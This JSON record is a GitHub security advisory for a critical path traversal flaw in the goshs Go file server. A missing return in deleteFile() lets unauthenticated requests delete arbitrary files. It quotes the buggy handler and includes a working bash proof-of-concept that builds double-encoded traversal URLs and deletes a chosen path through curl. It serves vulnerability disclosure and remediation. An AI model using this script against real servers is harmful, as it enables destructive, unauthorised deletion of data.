{"id":"GHSA-6qcc-6q27-whp8","summary":"goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)","details":"### Summary\n* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`\n\nThe finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/handler.go:645-671`\n**Trigger:** `GET /\u003cpath\u003e?delete` (handler.go:157-160 dispatches to `deleteFile`)\n\nThe function detects `..` in the decoded path but does not `return`.\n\n```go\nfunc (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {\n    upath := filepath.FromSlash(filepath.Clean(\"/\" + strings.Trim(req.URL.Path, \"/\")))\n\n    fileCleaned, _ := url.QueryUnescape(upath)\n    if strings.Contains(fileCleaned, \"..\") {\n        w.WriteHeader(500)\n        _, err := w.Write([]byte(\"Cannot delete file\"))\n        if err != nil {\n            logger.Errorf(\"error writing answer to client: %+v\", err)\n        }\n        // BUG: no return, falls through to os.RemoveAll\n    }\n\n    deletePath := filepath.Join(fs.Webroot, fileCleaned)\n    err := os.RemoveAll(deletePath)  // always executes\n```\n\n**Root causes:**\nMissing `return` after the guard makes the check dead code\n\n**Impact:** Unauthenticated arbitrary file/directory deletion.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Delete an arbitrary file/directory on a running goshs instance.\n# Usage: ./arbitrary_delete.sh \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nTARGET=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\n\n# Double-encode \"..\" =\u003e %252e%252e\n# We don't know the webroot depth, so use 16 levels (covers most paths).\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%252e%252e/\"\ndone\n\n# Strip leading / from target and URL-encode any special chars\nTARGET_REL=\"${TARGET#/}\"\nENCODED_TARGET=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))\")\n\nURL=\"http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete\"\n\necho \"[*] Target:  ${TARGET}\"\necho \"[*] Request: GET ${URL}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$URL\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\n```\n\nTo execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.","aliases":["CVE-2026-35471","GO-2026-5186"],"modified":"2026-06-25T19:56:10.594544229Z","published":"2026-04-03T21:58:47Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-04-03T21:58:47Z","nvd_published_at":"2026-04-06T22:16:23Z"},"references":[{"type":"WEB","url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35471"},{"type":"WEB","url":"https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a"},{"type":"PACKAGE","url":"https://github.com/patrickhener/goshs"}],"affected":[{"package":{"name":"github.com/patrickhener/goshs","ecosystem":"Go","purl":"pkg:golang/github.com/patrickhener/goshs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.5-0.20260401172448-237f3af891a9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6qcc-6q27-whp8/GHSA-6qcc-6q27-whp8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}